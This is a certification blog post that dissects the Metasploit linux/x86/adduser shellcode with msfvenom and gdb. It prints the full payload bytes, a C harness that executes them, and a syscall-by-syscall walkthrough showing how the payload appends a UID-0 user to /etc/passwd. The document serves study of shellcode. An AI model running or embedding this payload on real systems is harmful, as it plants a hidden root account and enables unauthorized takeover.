This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017
Challenge
- Take up at least 3 shellcode samples created using Msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the funcSonality of the shellcode
- Present your analysis
Generate payload using msfvenom
We have checked the payload parameters.
> msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape <[email protected]>
vlad902 <[email protected]>
spoonm <[email protected]$email.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
We generated the payload using msfvenom with USER and PASS options.
> msfvenom -p linux/x86/adduser USER=tiptiptip PASS=abcd1234 -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 96 bytes
Final size of c file: 429 bytes
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x27\x00\x00\x00\x74\x69"
"\x70\x74\x69\x70\x74\x69\x70\x3a\x41\x7a\x65\x47\x49\x70\x4b"
"\x34\x6a\x2f\x7a\x2e\x32\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f"
"\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
"\x80\x6a\x01\x58\xcd\x80";
We put the shellcode in a C program.
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x27\x00\x00\x00\x74\x69"
"\x70\x74\x69\x70\x74\x69\x70\x3a\x41\x7a\x65\x47\x49\x70\x4b"
"\x34\x6a\x2f\x7a\x2e\x32\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f"
"\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
"\x80\x6a\x01\x58\xcd\x80";
void main() {
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
We compiled the C program and used gdb to analysis the binary.
> gcc -fno-stack-protector -z execstack -o shellcode shellcode.c -g
> gdb -q ./shellcode
(gdb) set disassembly-flavor intel
(gdb) break *shellcode
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /root/SLAE/ass5/shellcode
Shellcode Length: 40
Breakpoint 1, 0x0804a040 in shellcode ()
Here is full assembler code for function shellcode.
=> 0x0804a040 <+0>: xor %ecx,%ecx
0x0804a042 <+2>: mov %ecx,%ebx
0x0804a044 <+4>: push $0x46
0x0804a046 <+6>: pop %eax
0x0804a047 <+7>: int $0x80
0x0804a049 <+9>: push $0x5
0x0804a04b <+11>: pop %eax
0x0804a04c <+12>: xor %ecx,%ecx
0x0804a04e <+14>: push %ecx
0x0804a04f <+15>: push $0x64777373
0x0804a054 <+20>: push $0x61702f2f
0x0804a059 <+25>: push $0x6374652f
0x0804a05e <+30>: mov %esp,%ebx
0x0804a060 <+32>: inc %ecx
0x0804a061 <+33>: mov $0x4,%ch
0x0804a063 <+35>: int $0x80
0x0804a065 <+37>: xchg %eax,%ebx
0x0804a066 <+38>: call 0x804a092 <shellcode+82>
0x0804a06b <+43>: je 0x804a0d6
0x0804a06d <+45>: jo 0x804a0e3
0x0804a06f <+47>: imul $0x413a7069,0x74(%eax),%esi
0x0804a076 <+54>: jp 0x804a0dd
0x0804a078 <+56>: inc %edi
0x0804a079 <+57>: dec %ecx
0x0804a07a <+58>: jo 0x804a0c7
0x0804a07c <+60>: xor $0x6a,%al
0x0804a07e <+62>: das
0x0804a07f <+63>: jp 0x804a0af
0x0804a081 <+65>: xor (%edx),%bh
0x0804a083 <+67>: xor %bh,(%edx)
0x0804a085 <+69>: xor %bh,(%edx)
0x0804a087 <+71>: cmp (%edi),%ch
0x0804a089 <+73>: cmp (%edi),%ch
0x0804a08b <+75>: bound %ebp,0x6e(%ecx)
0x0804a08e <+78>: das
0x0804a08f <+79>: jae 0x804a0f9
0x0804a091 <+81>: or -0x75(%ecx),%bl
0x0804a094 <+84>: push %ecx
0x0804a095 <+85>: cld
0x0804a096 <+86>: push $0x4
0x0804a098 <+88>: pop %eax
0x0804a099 <+89>: int $0x80
0x0804a09b <+91>: push $0x1
0x0804a09d <+93>: pop %eax
0x0804a09e <+94>: int $0x80
0x0804a0a0 <+96>: add %al,(%eax)
We quickly identified there are 3 syscall at 4 locations as shown below. We will set a breakpoint at just before each syscall.
0x0804a047 <+7>: int $0x80
0x0804a063 <+35>: int $0x80
0x0804a099 <+89>: int $0x80
0x0804a09e <+94>: int $0x80
Review syscall
Syscall 1: "setreuid"
For first syscall at 0x0804a047, the register values as shown below.
EAX=0x46 (70), EBX=0, ECX=0, EDX=0xb7fb9870
eax 0x46 70
ecx 0x0 0
ebx 0x0 0
According to unistd_32.h, EAX=0x46 means this syscall is "setreuid". EBX and ECX is ruid and euid respectivity.
int setreuid(uid_t ruid, uid_t euid);
To sum up, setruid(0,0)
is executed. This is a neccessary step since we need to be effective user or group ID = 0 in order to edit /etc/passwd
.
Syscall 2: "open"
For second syscall at 0x0804a063
, the register values as shown below.
eax 0x5 5
ebx 0xbffff5ac -1073744468
ecx 0x401 1025
According to unistd_32.h
, EAX=0x5
means this syscall is open
. EBX
is point to pathname, ECX
is flags.
int open(const char *pathname, int flags);
We verified EBX
is pointer to string /etc//passwd
.
(gdb) x/s 0xbffff5ac 0xbffff5ac: "/etc//passwd"
By reviewing fcntl.h
, we understand that Flags=0x401
means O_WRONLY
and O_APPEND
.
The file is opened in WRITE
mode only and with O_APPEND
.
Syscall 3: "write"
For third syscall at 0x0804a099
, the register values as shown below.
EAX=0x4, EBX=3, ECX=0x804a06b, EDX=0x27 (39)
eax 0x4 4
ebx 0x3 3
ecx 0x804a06b 134520939
edx 0x27 39
According to unistd_32.h
, EAX=0x4
means this syscall is write
. EBX
is fd
. ECX
is pointer to string buffer. EDX
is count.
ssize_t write(int fd, const void *buf, size_t count);
EBX=0x3
means the syscall writes the string buffer to file description /etc/passwd
.
ECX
is 0x804a06b
(pointer to string buffer tiptiptip:AzeGIpK4j/z.2:0:0::/:/bin/sh
)
(gdb) x/s $ecx 0x804a06b <shellcode+43>: "tiptiptip:AzeGIpK4j/z.2:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"
EDX=39
means the string length is 39
.
To sum up, write( /etc/passwd
file descriptor, tiptiptip:AzeGIpK4j/z.2:0:0::/:/bin/sh
, 39) is executed.
Syscall 4: "exit"
For fourth syscall at 0x0804a09e
, the register values as shown below.
eax 0x1 1
ebx 0x3 3
According to unistd_32.h
, EAX=0x1
means this syscall is exit
. EBX
is status code.
It means the program exit with status code = 3
.
void _exit(int status);
Summary
setreuid(0,0) = 0
Ensure real/effectiveUID
is of rootopen("/etc//passwd", O_WRONLY|O_APPEND) = 3
Open file and append to it.write(3, "tiptiptip:AzeGIpK4j/z.2:0:0::/:/"..., 39) = 39
Write operationsexit(3)
Exited with3